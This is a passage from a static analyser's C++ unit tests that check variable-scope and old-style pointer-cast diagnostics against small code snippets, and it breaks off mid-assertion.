[variableScope]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" short x;\\n\"\n \"\\n\"\n \" switch (ab) {\\n\"\n \" case A:\\n\"\n \" if(c)\\n\"\n \" do_something(x);\\n\"\n \" break;\\n\"\n \" case B:\\n\"\n \" default:\\n\"\n \" if(d)\\n\"\n \" do_something(x);\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope20() { // Ticket #5103 - constant variable only used in inner scope\n check(\"int f(int a) {\\n\"\n \" const int x = 234;\\n\"\n \" int b = a;\\n\"\n \" if (b > 32) b = x;\\n\"\n \" return b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope21() { // Ticket #5382 - initializing two-dimensional array\n check(\"int test() {\\n\"\n \" int test_value = 3;\\n\"\n \" int test_array[1][1] = { { test_value } };\\n\"\n \" return sizeof(test_array);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope22() { // Ticket #5684 - \"The scope of the variable 'p' can be reduced\" - But it can not.\n check(\"void foo() {\\n\"\n \" int* p( 42 );\\n\"\n \" int i = 0;\\n\"\n \" while ( i != 100 ) {\\n\"\n \" *p = i;\\n\"\n \" ++p;\\n\"\n \" ++i;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n // try to avoid an obvious false negative after applying the fix for the example above:\n check(\"void foo() {\\n\"\n \" int* p( 42 );\\n\"\n \" int i = 0;\\n\"\n \" int dummy = 0;\\n\"\n \" while ( i != 100 ) {\\n\"\n \" p = & dummy;\\n\"\n \" *p = i;\\n\"\n \" ++p;\\n\"\n \" ++i;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) The scope of the variable 'p' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope23() { // #6154: Don't suggest to reduce scope if inner scope is a lambda\n check(\"int main() {\\n\"\n \" size_t myCounter = 0;\\n\"\n \" Test myTest([&](size_t aX){\\n\"\n \" std::cout << myCounter += aX << std::endl;\\n\"\n \" });\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope24() {\n check(\"void f(Foo x) {\\n\"\n \" Foo &r = x;\\n\"\n \" if (cond) {\\n\"\n \" r.dostuff();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) The scope of the variable 'r' can be reduced. [variableScope]\\n\", errout_str());\n\n check(\"void f(Foo x) {\\n\"\n \" Foo foo = x;\\n\"\n \" if (cond) {\\n\"\n \" foo.dostuff();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope25() {\n check(\"void f() {\\n\"\n \" time_t currtime;\\n\"\n \" if (a) {\\n\"\n \" currtime = time(&dummy);\\n\"\n \" if (currtime > t) {}\\n\"\n \" }\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"[test.c:2:12]: (style) The scope of the variable 'currtime' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope26() {\n check(\"void f(const std::map &m) {\\n\"\n \" for (auto it : m) {\\n\"\n \" if (cond1) {\\n\"\n \" int& key = it.first;\\n\"\n \" if (cond2) { dostuff(key); }\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope27() {\n checkP(\"void f() {\\n\"\n \" int x = 0;\\n\"\n \"#ifdef X\\n\"\n \"#endif\\n\"\n \" if (id == ABC) { return x; }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkP(\"void f() {\\n\"\n \"#ifdef X\\n\"\n \"#endif\\n\"\n \" int x = 0;\\n\"\n \" if (id == ABC) { return x; }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: (style) The scope of the variable 'x' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope28() {\n check(\"void f() {\\n\" // #10527\n \" int i{};\\n\"\n \" if (double d = g(i); d == 1.0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope29() { // #10888\n check(\"enum E { E0 };\\n\"\n \"struct S { int i; };\\n\"\n \"void f(int b) {\\n\"\n \" enum E e;\\n\"\n \" struct S s;\\n\"\n \" if (b) {\\n\"\n \" e = E0;\\n\"\n \" s.i = 0;\\n\"\n \" g(e, s);\\n\"\n \" }\\n\"\n \"}\\n\", false);\n ASSERT_EQUALS(\"[test.c:4:12]: (style) The scope of the variable 'e' can be reduced. [variableScope]\\n\"\n \"[test.c:5:14]: (style) The scope of the variable 's' can be reduced. [variableScope]\\n\",\n errout_str());\n\n check(\"void f(bool b) {\\n\"\n \" std::string s;\\n\"\n \" if (b) {\\n\"\n \" s = \\\"abc\\\";\\n\"\n \" g(s);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (style) The scope of the variable 's' can be reduced. [variableScope]\\n\", errout_str());\n\n check(\"auto foo(std::vector& vec, bool flag) {\\n\"\n \" std::vector dummy;\\n\"\n \" std::vector::iterator iter;\\n\"\n \" if (flag)\\n\"\n \" iter = vec.begin();\\n\"\n \" else {\\n\"\n \" dummy.push_back(42);\\n\"\n \" iter = dummy.begin();\\n\"\n \" }\\n\"\n \" return *iter;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:28]: (style) Parameter 'vec' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"auto& foo(std::vector& vec, bool flag) {\\n\"\n \" std::vector dummy;\\n\"\n \" std::vector::iterator iter;\\n\"\n \" if (flag)\\n\"\n \" iter = vec.begin();\\n\"\n \" else {\\n\"\n \" dummy.push_back(42);\\n\"\n \" iter = dummy.begin();\\n\"\n \" }\\n\"\n \" return *iter;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope30() { // #8541\n check(\"bool f(std::vector& v, int i) {\\n\"\n \" int n = 0;\\n\"\n \" bool b = false;\\n\"\n \" std::for_each(v.begin(), v.end(), [&](int j) {\\n\"\n \" if (j == i) {\\n\"\n \" ++n;\\n\"\n \" if (n > 5)\\n\"\n \" b = true;\\n\"\n \" }\\n\"\n \" });\\n\"\n \" return b;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope31() { // #11099\n check(\"bool g(std::vector&);\\n\"\n \"void h(std::vector);\\n\"\n \"void f0(std::vector v) {\\n\"\n \" std::vector w{ v };\\n\"\n \" bool b = g(v);\\n\"\n \" if (b)\\n\"\n \" h(w);\\n\"\n \" h(v);\\n\"\n \"}\\n\"\n \"void f1(std::vector v) {\\n\"\n \" std::vector w{ v.begin(), v.end() };\\n\"\n \" bool b = g(v);\\n\"\n \" if (b)\\n\"\n \" h(w);\\n\"\n \" h(v);\\n\"\n \"}\\n\"\n \"void f2(std::vector v) {\\n\"\n \" std::vector w{ 10, 0, std::allocator() };\\n\" // FN\n \" bool b = g(v);\\n\"\n \" if (b)\\n\"\n \" h(w);\\n\"\n \" h(v);\\n\"\n \"}\\n\"\n \"void f3(std::vector v) {\\n\"\n \" std::vector w{ 10, 0 };\\n\" // warn\n \" bool b = g(v);\\n\"\n \" if (b)\\n\"\n \" h(w);\\n\"\n \" h(v);\\n\"\n \"}\\n\"\n \"void f4(std::vector v) {\\n\"\n \" std::vector w{ 10 };\\n\" // warn\n \" bool b = g(v);\\n\"\n \" if (b)\\n\"\n \" h(w);\\n\"\n \" h(v);\\n\"\n \"}\\n\"\n \"void f5(std::vector v) {\\n\"\n \" std::vector w(v);\\n\"\n \" bool b = g(v);\\n\"\n \" if (b)\\n\"\n \" h(w);\\n\"\n \" h(v);\\n\"\n \"}\\n\"\n \"void f6(std::vector v) {\\n\"\n \" std::vector w(v.begin(), v.end());\\n\"\n \" bool b = g(v);\\n\"\n \" if (b)\\n\"\n \" h(w);\\n\"\n \" h(v);\\n\"\n \"}\\n\"\n \"void f7(std::vector v) {\\n\"\n \" std::vector w(10, 0, std::allocator);\\n\" // FN\n \" bool b = g(v);\\n\"\n \" if (b)\\n\"\n \" h(w);\\n\"\n \" h(v);\\n\"\n \"}\\n\"\n \"void f8(std::vector v) {\\n\"\n \" std::vector w(10, 0);\\n\" // warn\n \" bool b = g(v);\\n\"\n \" if (b)\\n\"\n \" h(w);\\n\"\n \" h(v);\\n\"\n \"}\\n\"\n \"void f9(std::vector v) {\\n\"\n \" std::vector w(10);\\n\" // warn\n \" bool b = g(v);\\n\"\n \" if (b)\\n\"\n \" h(w);\\n\"\n \" h(v);\\n\"\n \"}\\n\"\n \"void f10(std::vector v) {\\n\"\n \" std::vector w{};\\n\" // warn\n \" bool b = g(v);\\n\"\n \" if (b)\\n\"\n \" h(w);\\n\"\n \" h(v);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:25:22]: (style) The scope of the variable 'w' can be reduced. [variableScope]\\n\"\n \"[test.cpp:32:22]: (style) The scope of the variable 'w' can be reduced. [variableScope]\\n\"\n \"[test.cpp:60:22]: (style) The scope of the variable 'w' can be reduced. [variableScope]\\n\"\n \"[test.cpp:67:22]: (style) The scope of the variable 'w' can be reduced. [variableScope]\\n\"\n \"[test.cpp:74:22]: (style) The scope of the variable 'w' can be reduced. [variableScope]\\n\",\n errout_str());\n }\n\n void varScope32() { // #11441\n check(\"template \\n\"\n \"std::vector g(F, const std::vector&);\\n\"\n \"void f(const std::vector&v) {\\n\"\n \" std::vector w;\\n\"\n \" for (auto x : v)\\n\"\n \" w = g([&]() { x; }, w);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:23]: (warning) Unused variable value 'x' [constStatement]\\n\", errout_str());\n }\n\n void varScope33() { // #11131\n check(\"struct S {\\n\"\n \" const std::string& getStr() const;\\n\"\n \" void mutate();\\n\"\n \" bool getB() const;\\n\"\n \"};\\n\"\n \"void g(S& s) {\\n\"\n \" std::string str = s.getStr();\\n\"\n \" s.mutate();\\n\"\n \" if (s.getB()) {\\n\"\n \" if (str == \\\"abc\\\") {}\\n\"\n \" }\\n\"\n \"}\\n\"\n \"void g(char* s, bool b) {\\n\"\n \" int i = strlen(s);\\n\"\n \" s[0] = '\\\\0';\\n\"\n \" if (b) {\\n\"\n \" if (i == 5) {}\\n\"\n \" }\\n\"\n \"}\\n\"\n \"void f(const S& s) {\\n\"\n \" std::string str = s.getStr();\\n\"\n \" std::string str2{ s.getStr() };\\n\"\n \" std::string str3(s.getStr());\\n\"\n \" if (s.getB()) {\\n\"\n \" if (str == \\\"abc\\\") {}\\n\"\n \" if (str2 == \\\"abc\\\") {}\\n\"\n \" if (str3 == \\\"abc\\\") {}\\n\"\n \" }\\n\"\n \"}\\n\"\n \"void f(const char* s, bool b) {\\n\"\n \" int i = strlen(s);\\n\"\n \" if (b) {\\n\"\n \" if (i == 5) {}\\n\"\n \" }\\n\"\n \"}\\n\"\n \"void f(int j, bool b) {\\n\"\n \" int k = j;\\n\"\n \" if (b) {\\n\"\n \" if (k == 5) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:21:17]: (style) The scope of the variable 'str' can be reduced. [variableScope]\\n\"\n \"[test.cpp:22:17]: (style) The scope of the variable 'str2' can be reduced. [variableScope]\\n\"\n \"[test.cpp:23:17]: (style) The scope of the variable 'str3' can be reduced. [variableScope]\\n\"\n \"[test.cpp:31:9]: (style) The scope of the variable 'i' can be reduced. [variableScope]\\n\"\n \"[test.cpp:37:9]: (style) The scope of the variable 'k' can be reduced. [variableScope]\\n\",\n errout_str());\n }\n\n void varScope34() { // #11742\n check(\"void f() {\\n\"\n \" bool b = false;\\n\"\n \" int i = 1;\\n\"\n \" for (int k = 0; k < 20; ++k) {\\n\"\n \" b = !b;\\n\"\n \" if (b)\\n\"\n \" i++;\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope35() { // #11845\n check(\"void f(int err, const char* src) {\\n\"\n \" const char* msg = \\\"Success\\\";\\n\"\n \" char buf[42];\\n\"\n \" if (err != 0)\\n\"\n \" msg = strcpy(buf, src);\\n\"\n \" printf(\\\"%d: %s\\\\n\\\", err, msg);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"char* g(char* dst, const char* src);\\n\"\n \"void f(int err, const char* src) {\\n\"\n \" const char* msg = \\\"Success\\\";\\n\"\n \" char buf[42];\\n\"\n \" if (err != 0)\\n\"\n \" msg = g(buf, src);\\n\"\n \" printf(\\\"%d: %s\\\\n\\\", err, msg);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"char* g(char* dst, const char* src);\\n\"\n \"void f(int err, const char* src) {\\n\"\n \" const char* msg = \\\"Success\\\";\\n\"\n \" char buf[42];\\n\"\n \" if (err != 0)\\n\"\n \" g(buf, src);\\n\"\n \" printf(\\\"%d: %s\\\\n\\\", err, msg);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (style) The scope of the variable 'buf' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope36() {\n // #12158\n check(\"void f( uint32_t value ) {\\n\"\n \" uint32_t i = 0U;\\n\"\n \" if ( value > 100U ) { }\\n\"\n \" else if( value > 50U ) { }\\n\"\n \" else{\\n\"\n \" for( i = 0U; i < 5U; i++ ) {}\\n\"\n \" }\\n\"\n \"}\\n\", true, false);\n ASSERT_EQUALS(\"[test.cpp:2:14]: (style) The scope of the variable 'i' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope37() {\n // #12158\n check(\"void f( uint32_t value ) {\\n\"\n \" uint32_t i = 0U;\\n\"\n \" if ( value > 100U ) { }\\n\"\n \" else {\\n\"\n \" if( value > 50U ) { }\\n\"\n \" else{\\n\"\n \" for( i = 0U; i < 5U; i++ ) {}\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\", true, false);\n ASSERT_EQUALS(\"[test.cpp:2:14]: (style) The scope of the variable 'i' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope38() {\n checkP(\"bool dostuff();\\n\" // #12519\n \"#define DOSTUFF(c) if (c < 5) { if (c) b = dostuff(); }\\n\"\n \"#define DOSTUFFEX(c) { bool b = false; DOSTUFF(c); }\\n\"\n \"void f(int a) {\\n\"\n \" DOSTUFFEX(a);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope39() {\n check(\"struct S {\\n\" // #12405\n \" void f(const std::string&) const;\\n\"\n \" const int* g(std::string&) const;\\n\"\n \"};\\n\"\n \"void h(int);\\n\"\n \"void S::f(const std::string& s) const {\\n\"\n \" std::string n = s;\\n\"\n \" const int* a = g(n);\\n\"\n \" if (n == \\\"abc\\\") {\\n\"\n \" h(a[0]);\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope40() {\n checkP(\"#define NUM (-999.9)\\n\" // #8862\n \"double f(int i) {\\n\"\n \" double a = NUM;\\n\"\n \" double b = -NUM;\\n\"\n \" double c = -1.0 * NUM;\\n\"\n \" if (i == 1) {\\n\"\n \" return a;\\n\"\n \" }\\n\"\n \" if (i == 2) {\\n\"\n \" return b;\\n\"\n \" }\\n\"\n \" if (i == 3) {\\n\"\n \" return c;\\n\"\n \" }\\n\"\n \" return 0.0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:12]: (style) The scope of the variable 'a' can be reduced. [variableScope]\\n\"\n \"[test.cpp:4:12]: (style) The scope of the variable 'b' can be reduced. [variableScope]\\n\"\n \"[test.cpp:5:12]: (style) The scope of the variable 'c' can be reduced. [variableScope]\\n\",\n errout_str());\n\n check(\"struct S { int a; };\\n\" // #12618\n \"int f(const S* s, int i) {\\n\"\n \" int x = s->a;\\n\"\n \" const int b[] = { 1, 2, 3 };\\n\"\n \" int y = b[1];\\n\"\n \" if (i)\\n\"\n \" return x + y;\\n\"\n \" return 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) The scope of the variable 'x' can be reduced. [variableScope]\\n\"\n \"[test.cpp:5:9]: (style) The scope of the variable 'y' can be reduced. [variableScope]\\n\",\n errout_str());\n }\n\n void varScope41() { // #11845\n check(\"void get_errmsg(const char **msg, char *buf, size_t bufsiz, int err);\\n\"\n \"void test(int err)\\n\"\n \"{\\n\"\n \" const char *msg = \\\"Success\\\";\\n\"\n \" char buf[42];\\n\"\n \" if (err != 0)\\n\"\n \" get_errmsg(&msg, buf, sizeof(buf), err);\\n\"\n \" printf(\\\"%d: %s\\\\n\\\", err, msg);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void get_errmsg(char *buf, size_t bufsiz, int err);\\n\"\n \"void test(int err)\\n\"\n \"{\\n\"\n \" const char *msg = \\\"Success\\\";\\n\"\n \" char buf[42];\\n\"\n \" if (err != 0)\\n\"\n \" get_errmsg(buf, sizeof(buf), err);\\n\"\n \" printf(\\\"%d: %s\\\\n\\\", err, msg);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:10]: (style) The scope of the variable 'buf' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope42() {\n check(\"void f(const char **, char *);\\n\"\n \"void g(int e) {\\n\"\n \" const char *msg = \\\"Something\\\";\\n\"\n \" char buf[42];\\n\"\n \" if (e != 0)\\n\"\n \" f(&msg, buf);\\n\"\n \" printf(\\\"result: %s\\\\n\\\", msg);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(char *, char *);\\n\"\n \"void g(int e) {\\n\"\n \" char msg [42] = \\\"Something\\\";\\n\"\n \" char buf[42];\\n\"\n \" if (e != 0)\\n\"\n \" f(msg, buf);\\n\"\n \" printf(\\\"result: %s\\\\n\\\", msg);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const char *, char *);\\n\"\n \"void g(int e) {\\n\"\n \" const char *msg = \\\"Something\\\";\\n\"\n \" char buf[42];\\n\"\n \" if (e != 0)\\n\"\n \" f(msg, buf);\\n\"\n \" printf(\\\"result: %s\\\\n\\\", msg);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (style) The scope of the variable 'buf' can be reduced. [variableScope]\\n\", errout_str());\n\n check(\"void f(int **, char *);\\n\"\n \"void g(int e) {\\n\"\n \" int *msg = calloc(0, sizeof(*msg));\\n\"\n \" char buf[42];\\n\"\n \" if (e != 0)\\n\"\n \" f(&msg, buf);\\n\"\n \" printf(\\\"result: %d\\\\n\\\", *msg);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (style) The scope of the variable 'buf' can be reduced. [variableScope]\\n\", errout_str());\n\n check(\"void f(const char *&, const char *&);\\n\"\n \"void g(int e) {\\n\"\n \" const char *msg = \\\"Something\\\";\\n\"\n \" char *buf = malloc(42);\\n\"\n \" if (e != 0)\\n\"\n \" f(msg, buf);\\n\"\n \" printf(\\\"result: %d\\\\n\\\", msg);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(const char* format, ...);\\n\"\n \"void f(bool b) {\\n\"\n \" const char* s = \\\"abc\\\";\\n\"\n \" if (b)\\n\"\n \" g(\\\"%d %s\\\", 1, s);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (style) The scope of the variable 's' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope43() {\n check(\"struct S { int a, b; };\\n\" // #13838\n \"int f(S s) {\\n\"\n \" auto& [x, y] = s;\\n\"\n \" if (x < 5) {\\n\"\n \" return y;\\n\"\n \" }\\n\"\n \" return 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { int a; };\\n\"\n \"int f(S s) {\\n\"\n \" auto& [x] = s;\\n\"\n \" if (y) {\\n\"\n \" return x;\\n\"\n \" }\\n\"\n \" return 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:12]: (style) The scope of the variable 'x' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n#define checkOldStylePointerCast(...) checkOldStylePointerCast_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkOldStylePointerCast_(const char* file, int line, const char (&code)[size], Standards::cppstd_t std = Standards::CPPLatest) {\n\n const Settings settings = settingsBuilder().severity(Severity::warning).severity(Severity::style).cpp(std).build();\n\n // Tokenize..\n SimpleTokenizer tokenizerCpp(settings, *this);\n ASSERT_LOC(tokenizerCpp.tokenize(code), file, line);\n\n CheckOther checkOtherCpp(&tokenizerCpp, &settings, this);\n checkOtherCpp.warningOldStylePointerCast();\n checkOtherCpp.warningDangerousTypeCast();\n }\n\n void oldStylePointerCast() {\n checkOldStylePointerCast(\"class Base{};\\n\"\n \"class Derived: public Base {};\\n\"\n \"void foo(Base* base)\\n\"\n \"{\\n\"\n \" Derived * d = (Derived *) base;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:19]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base{};\\n\"\n \"class Derived: public Base {};\\n\"\n \"void foo(Derived* derived)\\n\"\n \"{\\n\"\n \" Base * b = (Base *) derived;\\n\" // <- cast from derived to base is safe => cstyleCast\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:16]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"void foo(Base* base)\\n\"\n \"{\\n\"\n \" Derived * d = (Derived *) base;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:19]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base{};\\n\"\n \"class Derived: public Base {};\\n\"\n \"void foo(Base* base)\\n\"\n \"{\\n\"\n \" Derived * d = (const Derived *) base;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:19]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base{};\\n\"\n \"class Derived: public Base {};\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" Derived * d = (const Derived *) ( new Base() );\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:19]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base{};\\n\"\n \"class Derived: public Base {};\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" Derived * d = (const Derived *) new Base();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:19]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base{};\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" Base * b = (Base *) new short[10];\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:16]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base;\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" Base * b = (volatile Base *) derived;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:16]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base;\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" Base * b = (volatile Base * const) derived;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:16]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base;\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" Base * b = (const volatile Base *) derived;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:16]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base;\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" Base * b = (const volatile Base * const) derived;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:16]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base;\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" Base * b = (const Base *) ( new Derived() );\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:16]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base;\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" Base * b = (const Base *) new Derived();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:16]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base;\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" Base * b = (const Base *) new short[10];\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:16]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class B;\\n\"\n \"class A\\n\"\n \"{\\n\"\n \" virtual void abc(B *) const = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOldStylePointerCast(\"class B;\\n\"\n \"class A\\n\"\n \"{\\n\"\n \" virtual void abc(const B *) const = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #3630\n checkOldStylePointerCast(\"class SomeType{};\\n\"\n \"class X : public Base {\\n\"\n \" X() : Base((SomeType*)7) {}\\n\" // <- intToPointerCast\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOldStylePointerCast(\"class SomeType{};\\n\"\n \"class X : public Base {\\n\"\n \" X() : Base((SomeType*)0x7000) {}\\n\" // <- it's common in embedded code to cast address\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOldStylePointerCast(\"class SomeType;\\n\"\n \"class X : public Base {\\n\"\n \" X() : Base((SomeType*)var) {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:16]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class SomeType;\\n\"\n \"class X : public Base {\\n\"\n \" X() : Base((SomeType*)0) {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5560\n checkOldStylePointerCast(\"class C;\\n\"\n \"\\n\"\n \"class B\\n\"\n \"{ virtual G* createGui(S*, C*) const = 0; };\\n\"\n \"\\n\"\n \"class MS : public M\\n\"\n \"{ virtual void addController(C*) override {} };\", Standards::CPP03);\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6164\n checkOldStylePointerCast(\"class Base {};\\n\"\n \"class Derived: public Base {};\\n\"\n \"void testCC() {\\n\"\n \" std::vector v;\\n\"\n \" v.push_back((Base*)new Derived);\\n\"\n \"}\");\n // FIXME write a dangerousTypeCast warning instead\n ASSERT_EQUALS(\"[test.cpp:5:15]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n\n // #7709\n checkOldStylePointerCast(\"typedef struct S S;\\n\"\n \"typedef struct S SS;\\n\"\n \"typedef class C C;\\n\"\n \"typedef long LONG;\\n\"\n \"typedef long* LONGP;\\n\"\n \"struct T {};\\n\"\n \"typedef struct T TT;\\n\"\n \"typedef struct T2 {} TT2;\\n\"\n \"void f(int* i) {\\n\"\n \" S* s = (S*)i;\\n\"\n \" SS* ss = (SS*)i;\\n\"\n \" struct S2* s2 = (struct S2*)i;\\n\"\n \" C* c = (C*)i;\\n\"\n \" class C2* c2 = (class C2*)i;\\n\"\n \" long* l = (long*)i;\\n\"\n \" LONG* l2 = (LONG*)i;\\n\"\n \" LONGP l3 = (LONGP)i;\\n\"\n \" TT* tt = (TT*)i;\\n\"\n \" TT2* tt2 = (TT2*)i;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:10:12]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:11:14]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:12:21]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:13:12]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:14:20]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:15:15]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:16:16]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:17:16]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:18:14]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:19:16]: (warning) Potentially invalid type 